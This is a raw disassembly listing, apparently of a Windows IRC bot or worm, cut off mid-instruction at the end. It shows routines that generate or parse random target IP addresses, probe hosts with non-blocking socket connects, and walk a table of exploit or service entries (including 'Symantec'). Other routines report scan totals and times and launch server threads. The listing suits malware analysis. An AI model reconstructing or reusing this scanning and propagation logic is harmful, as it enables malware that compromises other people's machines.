loc_40B998: ; CODE XREF: sub_40B919+63j lea eax, [ebp+var_200] push eax call sub_415A3C pop ecx leave retn sub_40B919 endp ; =============== S U B R O U T I N E ======================================= sub_40B9A7 proc near ; CODE XREF: sub_4019A5+154p ; sub_40B6FC+40p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 234h mov ds:dword_455F14[eax], ecx mov ds:dword_455F00[eax], ecx mov ds:dword_455F04[eax], ecx mov ds:dword_455F08[eax], ecx mov ds:dword_455F0C[eax], ecx mov ds:dword_455F10[eax], ecx mov byte ptr ds:dword_455D00[eax], cl mov ds:byte_455F18[eax], cl retn sub_40B9A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B9E4 proc near ; CODE XREF: sub_401C87+7E9Dp ; sub_40BB0C+61p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor eax, eax push esi mov esi, [ebp+arg_0] inc eax jmp short loc_40BA46 ; --------------------------------------------------------------------------- loc_40B9F0: ; CODE XREF: sub_40B9E4+66j cmp eax, 1 jnz short loc_40BA57 mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_40BA57 cmp cl, 2Ah jz short loc_40BA2F cmp cl, 3Fh jz short loc_40BA14 cmp cl, 5Bh jz short loc_40BA19 xor eax, eax cmp cl, dl setz al loc_40BA14: ; CODE XREF: sub_40B9E4+22j inc [ebp+arg_4] jmp short loc_40BA42 ; --------------------------------------------------------------------------- loc_40BA19: ; CODE XREF: sub_40B9E4+27j lea eax, [ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_40BA78 mov esi, [ebp+arg_0] jmp short loc_40BA40 ; --------------------------------------------------------------------------- loc_40BA2F: ; CODE XREF: sub_40B9E4+1Dj lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_40BB0C mov esi, [ebp+arg_0] dec esi loc_40BA40: ; CODE XREF: sub_40B9E4+49j pop ecx pop ecx loc_40BA42: ; CODE XREF: sub_40B9E4+33j inc esi mov [ebp+arg_0], esi loc_40BA46: ; CODE XREF: sub_40B9E4+Aj mov cl, [esi] test cl, cl jnz short loc_40B9F0 jmp short loc_40BA57 ; --------------------------------------------------------------------------- loc_40BA4E: ; CODE XREF: sub_40B9E4+76j cmp eax, 1 jnz short loc_40BA73 inc esi mov [ebp+arg_0], esi loc_40BA57: ; CODE XREF: sub_40B9E4+Fj ; sub_40B9E4+18j ... cmp byte ptr [esi], 2Ah jz short loc_40BA4E cmp eax, 1 jnz short loc_40BA73 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_40BA73 cmp byte ptr [esi], 0 jnz short loc_40BA73 xor eax, eax inc eax jmp short loc_40BA75 ; --------------------------------------------------------------------------- loc_40BA73: ; CODE XREF: sub_40B9E4+6Dj ; sub_40B9E4+7Bj ... xor eax, eax loc_40BA75: ; CODE XREF: sub_40B9E4+8Dj pop esi pop ebp retn sub_40B9E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BA78 proc near ; CODE XREF: sub_40B9E4+41p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi xor eax, eax mov ecx, [edx] and [ebp+var_8], edi inc eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_40BA99 inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_40BA99: ; CODE XREF: sub_40BA78+19j push ebx push esi loc_40BA9B: ; CODE XREF: sub_40BA78+77j mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_40BAA9 cmp [ebp+var_4], eax jnz short loc_40BAF1 loc_40BAA9: ; CODE XREF: sub_40BA78+2Aj test edi, edi jnz short loc_40BAE6 cmp bl, 2Dh jnz short loc_40BADA lea esi, [ecx+1] mov cl, [ecx-1] mov al, [esi] cmp cl, al jge short loc_40BADA cmp al, 5Dh jz short loc_40BADA cmp [ebp+var_4], edi jnz short loc_40BADA mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_40BAE6 cmp bl, al jg short loc_40BAE6 mov [edx], esi jmp short loc_40BAE3 ; --------------------------------------------------------------------------- loc_40BADA: ; CODE XREF: sub_40BA78+38j ; sub_40BA78+44j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_40BAE6 loc_40BAE3: ; CODE XREF: sub_40BA78+60j xor edi, edi inc edi loc_40BAE6: ; CODE XREF: sub_40BA78+33j ; sub_40BA78+58j ... inc dword ptr [edx] and [ebp+var_4], 0 xor eax, eax inc eax jmp short loc_40BA9B ; --------------------------------------------------------------------------- loc_40BAF1: ; CODE XREF: sub_40BA78+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_40BAFE mov ecx, eax sub ecx, edi mov edi, ecx loc_40BAFE: ; CODE XREF: sub_40BA78+7Ej cmp edi, eax jnz short loc_40BB07 mov eax, [ebp+arg_4] inc dword ptr [eax] loc_40BB07: ; CODE XREF: sub_40BA78+88j mov eax, edi pop edi leave retn sub_40BA78 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BB0C proc near ; CODE XREF: sub_40B9E4+53p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] xor ebx, ebx jmp short loc_40BB3C ; --------------------------------------------------------------------------- loc_40BB26: ; CODE XREF: sub_40BB0C+36j mov dl, [eax] cmp dl, 3Fh jz short loc_40BB37 cmp dl, 2Ah jnz short loc_40BB49 cmp dl, 3Fh jnz short loc_40BB3A loc_40BB37: ; CODE XREF: sub_40BB0C+1Fj inc ecx mov [edi], ecx loc_40BB3A: ; CODE XREF: sub_40BB0C+29j inc dword ptr [esi] loc_40BB3C: ; CODE XREF: sub_40BB0C+18j mov ecx, [edi] mov eax, [esi] cmp [ecx], bl jnz short loc_40BB26 jmp short loc_40BB49 ; --------------------------------------------------------------------------- loc_40BB46: ; CODE XREF: sub_40BB0C+40j inc eax mov [esi], eax loc_40BB49: ; CODE XREF: sub_40BB0C+24j ; sub_40BB0C+38j cmp byte ptr [eax], 2Ah jz short loc_40BB46 mov ecx, [edi] mov dl, [ecx] cmp dl, bl jnz short loc_40BB6B cmp [eax], bl jz short loc_40BB5E xor eax, eax jmp short loc_40BBC8 ; --------------------------------------------------------------------------- loc_40BB5E: ; CODE XREF: sub_40BB0C+4Cj cmp dl, bl jnz short loc_40BB6B cmp [eax], bl jnz short loc_40BB6B xor eax, eax inc eax jmp short loc_40BBC8 ; --------------------------------------------------------------------------- loc_40BB6B: ; CODE XREF: sub_40BB0C+48j ; sub_40BB0C+54j ... push ecx push eax call sub_40B9E4 pop ecx test eax, eax pop ecx jnz short loc_40BBB2 loc_40BB78: ; CODE XREF: sub_40BB0C+A4j inc dword ptr [edi] mov eax, [edi] jmp short loc_40BB8A ; --------------------------------------------------------------------------- loc_40BB7E: ; CODE XREF: sub_40BB0C+86j cmp cl, 5Bh jz short loc_40BB94 cmp dl, bl jz short loc_40BB94 inc eax mov [edi], eax loc_40BB8A: ; CODE XREF: sub_40BB0C+70j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jnz short loc_40BB7E loc_40BB94: ; CODE XREF: sub_40BB0C+75j ; sub_40BB0C+79j cmp [eax], bl jz short loc_40BBA9 push eax push dword ptr [esi] call sub_40B9E4 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40BBAE ; --------------------------------------------------------------------------- loc_40BBA9: ; CODE XREF: sub_40BB0C+8Aj mov [ebp+var_4], ebx xor eax, eax loc_40BBAE: ; CODE XREF: sub_40BB0C+9Bj cmp eax, ebx jnz short loc_40BB78 loc_40BBB2: ; CODE XREF: sub_40BB0C+6Aj mov eax, [edi] cmp [eax], bl jnz short loc_40BBC5 mov eax, [esi] cmp [eax], bl jnz short loc_40BBC5 mov [ebp+var_4], 1 loc_40BBC5: ; CODE XREF: sub_40BB0C+AAj ; sub_40BB0C+B0j mov eax, [ebp+var_4] loc_40BBC8: ; CODE XREF: sub_40BB0C+50j ; sub_40BB0C+5Dj pop edi pop esi pop ebx leave retn sub_40BB0C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BBCD proc near ; CODE XREF: sub_401C87+2AEEp var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+var_200] push offset unk_4484F8 push eax xor ebx, ebx call sub_41EA60 cmp ds:dword_4481F0, ebx pop ecx pop ecx mov edi, 200h jz short loc_40BC3F push esi mov esi, offset dword_4481F8 loc_40BC00: ; CODE XREF: sub_40BBCD+6Fj mov eax, [esi] test eax, eax jbe short loc_40BC35 add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+var_400] push offset dword_448518 push eax call sub_41EA60 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41FAC0 add esp, 1Ch loc_40BC35: ; CODE XREF: sub_40BBCD+37j add esi, 40h cmp dword ptr [esi-8], 0 jnz short loc_40BC00 pop esi loc_40BC3F: ; CODE XREF: sub_40BBCD+2Bj push ds:dword_4E2D04 call sub_41B51B push eax push ebx lea eax, [ebp+var_400] push offset aTotalDInS_ ; " Total: %d in %s." push eax call sub_41EA60 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41FAC0 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409C75 lea eax, [ebp+var_200] push eax call sub_415A3C add esp, 38h pop edi pop ebx leave retn sub_40BBCD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BC9B proc near ; CODE XREF: sub_401C87+2AD8p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h mov eax, ds:dword_4E5ACC mov ecx, ds:dword_4E5AC8 push esi push ds:dword_4E2D04 lea esi, [ecx+eax] call sub_41B51B push eax push esi push ds:dword_4E5ACC lea eax, [ebp+var_200] push ds:dword_4E5AC8 push offset unk_448538 push eax call sub_41EA60 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409C75 lea eax, [ebp+var_200] push eax call sub_415A3C add esp, 34h pop esi leave retn sub_40BC9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BD06 proc near ; CODE XREF: sub_401C87+2AC2p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push ds:dword_4E2D04 call sub_41B51B push eax lea eax, [ebp+var_200] push ds:dword_4E5D08 push offset unk_448580 push eax call sub_41EA60 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409C75 lea eax, [ebp+var_200] push eax call sub_415A3C add esp, 2Ch leave retn sub_40BD06 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BD5A proc near ; CODE XREF: sub_401C87+2AACp var_1000 = byte ptr -1000h var_800 = byte ptr -800h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 1000h call sub_41EF80 push edi lea eax, [ebp+var_800] push offset dword_4485AC push eax call sub_41EA60 cmp ds:dword_4481F0, 0 pop ecx pop ecx mov edi, 800h jz short loc_40BDC6 push esi mov esi, offset aSymantec ; "Symantec" loc_40BD8F: ; CODE XREF: sub_40BD5A+69j lea eax, [esi-0Ah] push eax push esi lea eax, [ebp+var_1000] push offset dword_4485C8 push eax call sub_41EA60 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41FAC0 add esi, 40h add esp, 1Ch cmp dword ptr [esi+1Eh], 0 jnz short loc_40BD8F pop esi loc_40BDC6: ; CODE XREF: sub_40BD5A+2Dj push ds:dword_4E2D04 call sub_41B51B push eax lea eax, [ebp+var_1000] push offset aScanTimeS_ ; " Scan Time: %s." push eax call sub_41EA60 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41FAC0 push 0 lea eax, [ebp+var_800] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409C75 lea eax, [ebp+var_800] push eax call sub_415A3C add esp, 34h pop edi leave retn sub_40BD5A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BE20 proc near ; DATA XREF: sub_401C87+30EBo var_3F0 = byte ptr -3F0h var_1F0 = dword ptr -1F0h var_1EC = byte ptr -1ECh var_1DC = byte ptr -1DCh var_15C = byte ptr -15Ch var_150 = dword ptr -150h var_14C = dword ptr -14Ch var_148 = dword ptr -148h var_140 = dword ptr -140h var_13C = dword ptr -13Ch var_134 = byte ptr -134h var_124 = byte ptr -124h var_A4 = byte ptr -0A4h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3F0h mov eax, [ebp+arg_0] push ebx push esi push edi push 4Bh mov esi, eax pop ecx lea edi, [ebp+var_134] rep movsd mov dword ptr [eax+128h], 1 lea eax, [ebp+var_134] push eax call ds:dword_4E3008 ; inet_addr xor edi, edi mov [ebp+var_8], eax cmp ds:dword_4481F0, edi mov [ebp+var_4], edi mov [ebp+arg_0], edi jz loc_40BF7F mov esi, offset dword_4481F0 mov ebx, offset aSym ; "sym" loc_40BE74: ; CODE XREF: sub_40BE20+159j push [ebp+var_1C] push dword ptr [esi] push [ebp+var_8] call sub_40C611 add esp, 0Ch cmp eax, 1 jnz loc_40BF6E push dword ptr [esi] lea eax, [ebp+var_134] push eax lea eax, [ebx+0Ah] push eax lea eax, [ebp+var_3F0] push offset unk_4485E8 push eax call sub_41EA60 push edi lea eax, [ebp+var_3F0] push [ebp+var_14] push eax lea eax, [ebp+var_124] push eax push [ebp+var_24] call sub_409C75 lea eax, [ebp+var_3F0] push eax call sub_415A3C lea eax, [ebp+var_134] push eax lea eax, [ebp+var_1EC] push eax call sub_41EA60 lea eax, [ebp+var_15C] push ebx push eax call sub_41EA60 add esp, 3Ch cmp [ebp+var_A4], 0 lea eax, [ebp+var_A4] jnz short loc_40BF09 lea eax, [ebp+var_124] loc_40BF09: ; CODE XREF: sub_40BE20+E1j push eax lea eax, [ebp+var_1DC] push eax call sub_41EA60 mov eax, [ebp+var_24] pop ecx mov [ebp+var_1F0], eax mov eax, [ebp+var_14] mov [ebp+var_140], eax mov eax, [ebp+var_10] pop ecx mov [ebp+var_13C], eax mov eax, [esi] sub esp, 0BCh mov [ebp+var_150], eax mov eax, [ebp+var_18] push 2Fh mov [ebp+var_14C], eax mov eax, [ebp+arg_0] pop ecx lea esi, [ebp+var_1F0] mov edi, esp mov [ebp+var_148], eax rep movsd call dword ptr [ebx+2Ch] add esp, 0BCh inc [ebp+var_4] xor edi, edi loc_40BF6E: ; CODE XREF: sub_40BE20+67j inc [ebp+arg_0] add ebx, 40h lea esi, [ebx+28h] cmp [esi], edi jnz loc_40BE74 loc_40BF7F: ; CODE XREF: sub_40BE20+44j push [ebp+var_4] lea eax, [ebp+var_134] push eax lea eax, [ebp+var_3F0] push offset unk_448618 push eax call sub_41EA60 push edi lea eax, [ebp+var_3F0] push [ebp+var_14] push eax lea eax, [ebp+var_124] push eax push [ebp+var_24] call sub_409C75 lea eax, [ebp+var_3F0] push eax call sub_415A3C push [ebp+var_18] call sub_40B9A7 add esp, 2Ch push edi call ds:dword_4F53A0 ; ExitThread sub_40BE20 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BFD2 proc near ; CODE XREF: sub_401C87+23FCp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 0Bh call sub_40B8D3 test eax, eax pop ecx jle short loc_40C00E mov eax, [ebp+arg_C] push ds:dword_4E3110[eax*8] call ds:dword_4E3054 ; inet_ntoa push eax lea eax, [ebp+var_200] push offset unk_44864C push eax call sub_41EA60 add esp, 0Ch jmp short loc_40C021 ; --------------------------------------------------------------------------- loc_40C00E: ; CODE XREF: sub_40BFD2+13j lea eax, [ebp+var_200] push offset unk_448668 push eax call sub_41EA60 pop ecx pop ecx loc_40C021: ; CODE XREF: sub_40BFD2+3Aj push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409C75 lea eax, [ebp+var_200] push eax call sub_415A3C add esp, 18h leave retn sub_40BFD2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C049 proc near ; CODE XREF: sub_40CA91+4Fp var_210 = dword ptr -210h var_204 = byte ptr -204h var_4 = byte ptr -4 arg_10 = byte ptr 18h arg_90 = byte ptr 98h arg_110 = dword ptr 118h arg_130 = dword ptr 138h arg_138 = dword ptr 140h arg_13C = dword ptr 144h push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+arg_130] push ebx cmp eax, 0FFFFFFFFh push esi jz loc_40C529 shl eax, 6 xor ebx, ebx cmp ds:dword_4481FC[eax], ebx jz loc_40C529 push 5 call sub_40B8D3 test eax, eax pop ecx jnz loc_40C2C3 mov eax, ds:dword_43F07C push edi mov esi, offset dword_4E51CC push 104h push esi push ebx mov ds:dword_4E53DC, eax mov ds:dword_4E53D8, ebx call ds:off_4F5344 mov edi, offset byte_43F0FC push 103h push edi push offset dword_4E52D0 call sub_41E510 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov ds:dword_4E51C8, eax mov eax, [ebp+arg_138] push 7Fh mov ds:dword_4E5460, eax jnz short loc_40C0F9 lea eax, [ebp+arg_10] push eax push offset dword_4E53E0 call sub_41E510 mov ds:dword_4E5464, 1 jmp short loc_40C110 ; --------------------------------------------------------------------------- loc_40C0F9: ; CODE XREF: sub_40C049+94j lea eax, [ebp+arg_90] push eax push offset dword_4E53E0 call sub_41E510 mov ds:dword_4E5464, ebx loc_40C110: ; CODE XREF: sub_40C049+AEj add esp, 0Ch lea eax, [ebp+var_204] push esi push ds:dword_4E53DC push offset unk_448688 push eax call sub_41EA60 push ebx lea eax, [ebp+var_204] push 5 push eax call sub_40B691 add esp, 1Ch mov ds:dword_4E53D4, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4E51C8 push offset sub_41206F push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, ds:dword_4E53D4 imul ecx, 234h cmp eax, ebx mov ds:dword_455F14[ecx], eax jnz loc_40C214 call ds:dword_4F5360 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_204] push offset unk_4486BC push eax call sub_41EA60 add esp, 0Ch loc_40C18E: ; CODE XREF: sub_40C049+1D3j lea eax, [ebp+var_204] push eax call sub_415A3C mov eax, ds:dword_4E2D00 mov esi, offset dword_4E5474 mov [esp+210h+var_210], 104h push esi push ebx mov ds:dword_4E5684, eax mov ds:dword_4E5680, ebx call ds:off_4F5344 push 103h push edi push offset dword_4E5578 call sub_41E510 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov ds:dword_4E5470, eax mov eax, [ebp+arg_138] pop edi mov ds:dword_4E5708, eax push 7Fh jnz short loc_40C221 lea eax, [ebp+arg_10] push eax push offset dword_4E5688 call sub_41E510 mov ds:dword_4E570C, 1 jmp short loc_40C238 ; --------------------------------------------------------------------------- loc_40C20C: ; CODE XREF: sub_40C049+1D1j push 32h call ds:dword_4F534C ; Sleep loc_40C214: ; CODE XREF: sub_40C049+124j cmp ds:dword_4E5468, ebx jz short loc_40C20C jmp loc_40C18E ; --------------------------------------------------------------------------- loc_40C221: ; CODE XREF: sub_40C049+1A7j lea eax, [ebp+arg_90] push eax push offset dword_4E5688 call sub_41E510 mov ds:dword_4E570C, ebx loc_40C238: ; CODE XREF: sub_40C049+1C1j add esp, 0Ch lea eax, [ebp+var_204] push esi push ds:dword_4E5684 push offset unk_4486F0 push eax call sub_41EA60 push ebx lea eax, [ebp+var_204] push 4 push eax call sub_40B691 add esp, 1Ch mov ds:dword_4E567C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4E5470 push offset sub_40F2F1 push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, ds:dword_4E567C imul ecx, 234h cmp eax, ebx mov ds:dword_455F14[ecx], eax jnz loc_40C33C call ds:dword_4F5360 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_204] push offset unk_448724 push eax call sub_41EA60 add esp, 0Ch loc_40C2B6: ; CODE XREF: sub_40C049+2FBj lea eax, [ebp+var_204] push eax call sub_415A3C pop ecx loc_40C2C3: ; CODE XREF: sub_40C049+35j mov eax, [ebp+arg_130] mov ecx, eax shl ecx, 6 cmp ds:dword_448204[ecx], ebx jz loc_40C3F0 push 7 call sub_40B8D3 test eax, eax pop ecx jnz loc_40C3EA mov eax, ds:dword_4E5D04 cmp [ebp+arg_90], bl mov ds:dword_4E5134, eax mov eax, [ebp+arg_110] mov ds:dword_4E5128, eax mov eax, [ebp+arg_138] mov ds:dword_4E5130, ebx mov ds:dword_4E51B8, eax push 7Fh jnz short loc_40C349 lea eax, [ebp+arg_10] push eax push offset dword_4E5138 call sub_41E510 mov ds:dword_4E51BC, 1 jmp short loc_40C360 ; --------------------------------------------------------------------------- loc_40C334: ; CODE XREF: sub_40C049+2F9j push 32h call ds:dword_4F534C ; Sleep loc_40C33C: ; CODE XREF: sub_40C049+24Cj cmp ds:dword_4E5710, ebx jz short loc_40C334 jmp loc_40C2B6 ; --------------------------------------------------------------------------- loc_40C349: ; CODE XREF: sub_40C049+2CFj lea eax, [ebp+arg_90] push eax push offset dword_4E5138 call sub_41E510 mov ds:dword_4E51BC, ebx loc_40C360: ; CODE XREF: sub_40C049+2E9j add esp, 0Ch lea eax, [ebp+var_204] push ds:dword_4E5134 push offset unk_448758 push eax call sub_41EA60 push ebx lea eax, [ebp+var_204] push 7 push eax call sub_40B691 add esp, 18h mov ds:dword_4E512C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4E5128 push offset sub_40F04F push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, ds:dword_4E512C imul ecx, 234h cmp eax, ebx mov ds:dword_455F14[ecx], eax jnz loc_40C4E2 call ds:dword_4F5360 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_204] push offset unk_448788 push eax call sub_41EA60 add esp, 0Ch loc_40C3DD: ; CODE XREF: sub_40C049+4A1j lea eax, [ebp+var_204] push eax call sub_415A3C pop ecx loc_40C3EA: ; CODE XREF: sub_40C049+29Bj mov eax, [ebp+arg_130] loc_40C3F0: ; CODE XREF: sub_40C049+28Bj shl eax, 6 cmp ds:dword_448200[eax], ebx jz loc_40C529 push 3 call sub_40B8D3 test eax, eax pop ecx jnz loc_40C529 mov esi, offset dword_4E59A4 push 104h push esi push ebx call ds:off_4F5344 push 5Ch push esi call sub_41F5B0 pop ecx cmp eax, ebx pop ecx jz short loc_40C431 mov [eax], bl loc_40C431: ; CODE XREF: sub_40C049+3E4j mov eax, ds:dword_43F080 mov ds:dword_4E5ABC, ebx mov ds:dword_4E5AA8, eax lea eax, [ebp+arg_10] push eax push offset dword_4E571C call sub_41EA60 mov eax, [ebp+arg_110] pop ecx pop ecx mov ds:dword_4E5718, eax mov ecx, [ebp+arg_138] push esi push ds:dword_4E5AA8 mov ds:dword_4E5AB4, ecx mov ecx, [ebp+arg_13C] push eax mov ds:dword_4E5AB8, ecx call sub_40AEAD pop ecx push eax lea eax, [ebp+var_204] push offset unk_4487C0 push eax call sub_41EA60 push ebx lea eax, [ebp+var_204] push 3 push eax call sub_40B691 add esp, 20h mov ds:dword_4E5AB0, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4E5718 push offset sub_40FA20 push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, ds:dword_4E5AB0 imul ecx, 234h cmp eax, ebx mov ds:dword_455F14[ecx], eax jz short loc_40C501 jmp short loc_40C4F7 ; --------------------------------------------------------------------------- loc_40C4DA: ; CODE XREF: sub_40C049+49Fj push 32h call ds:dword_4F534C ; Sleep loc_40C4E2: ; CODE XREF: sub_40C049+373j cmp ds:dword_4E51C0, ebx jz short loc_40C4DA jmp loc_40C3DD ; --------------------------------------------------------------------------- loc_40C4EF: ; CODE XREF: sub_40C049+4B4j push 32h call ds:dword_4F534C ; Sleep loc_40C4F7: ; CODE XREF: sub_40C049+48Fj cmp ds:dword_4E5AC4, ebx jz short loc_40C4EF jmp short loc_40C51C ; --------------------------------------------------------------------------- loc_40C501: ; CODE XREF: sub_40C049+48Dj call ds:dword_4F5360 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_204] push offset unk_4487FC push eax call sub_41EA60 add esp, 0Ch loc_40C51C: ; CODE XREF: sub_40C049+4B6j lea eax, [ebp+var_204] push eax call sub_415A3C pop ecx loc_40C529: ; CODE XREF: sub_40C049+14j ; sub_40C049+25j ... pop esi pop ebx leave retn sub_40C049 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C52D proc near ; CODE XREF: sub_40C87D:loc_40C8DFp arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi push 4 lea esi, ds:4E3110h[eax*8] lea eax, [ebp+arg_0] push esi push eax call sub_41FBF0 add esp, 0Ch push [ebp+arg_0] call ds:dword_4E2EF0 ; htonl inc eax push eax mov [ebp+arg_0], eax call ds:dword_4E2FC4 ; htonl mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax push esi call sub_41FBF0 mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_40C52D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C575 proc near ; CODE XREF: sub_40C87D+5Ap var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+arg_0] mov [ebp+var_C], esi mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_10], esi call sub_41BC70 cmp eax, 0Fh pop ecx jbe short loc_40C59D xor eax, eax jmp short loc_40C60E ; --------------------------------------------------------------------------- loc_40C59D: ; CODE XREF: sub_40C575+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D_0 ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_41FF30 add esp, 18h cmp [ebp+var_C], esi jnz short loc_40C5CA call sub_41EB70 mov [ebp+var_C], eax loc_40C5CA: ; CODE XREF: sub_40C575+4Bj cmp [ebp+var_8], esi jnz short loc_40C5D7 call sub_41EB70 mov [ebp+var_8], eax loc_40C5D7: ; CODE XREF: sub_40C575+58j cmp [ebp+var_4], esi jnz short loc_40C5E4 call sub_41EB70 mov [ebp+var_4], eax loc_40C5E4: ; CODE XREF: sub_40C575+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_40C5F0 call sub_41EB70 loc_40C5F0: ; CODE XREF: sub_40C575+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov ds:dword_4E3110[ecx*8], eax loc_40C60E: ; CODE XREF: sub_40C575+26j pop esi leave retn sub_40C575 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C611 proc near ; CODE XREF: sub_40BE20+5Cp ; sub_40C87D+A9p ... var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi xor edi, edi xor ebx, ebx inc edi push ebx push edi push 2 mov [ebp+var_4], edi call ds:dword_4E3048 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40C63A xor eax, eax jmp short loc_40C6A9 ; --------------------------------------------------------------------------- loc_40C63A: ; CODE XREF: sub_40C611+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call ds:dword_4E2FC8 ; htons mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call ds:dword_4E3064 ; ioctlsocket lea eax, [ebp+var_1C] push 10h push eax push esi call ds:dword_4E2F70 ; connect mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call ds:dword_4E2FB0 ; select push esi mov edi, 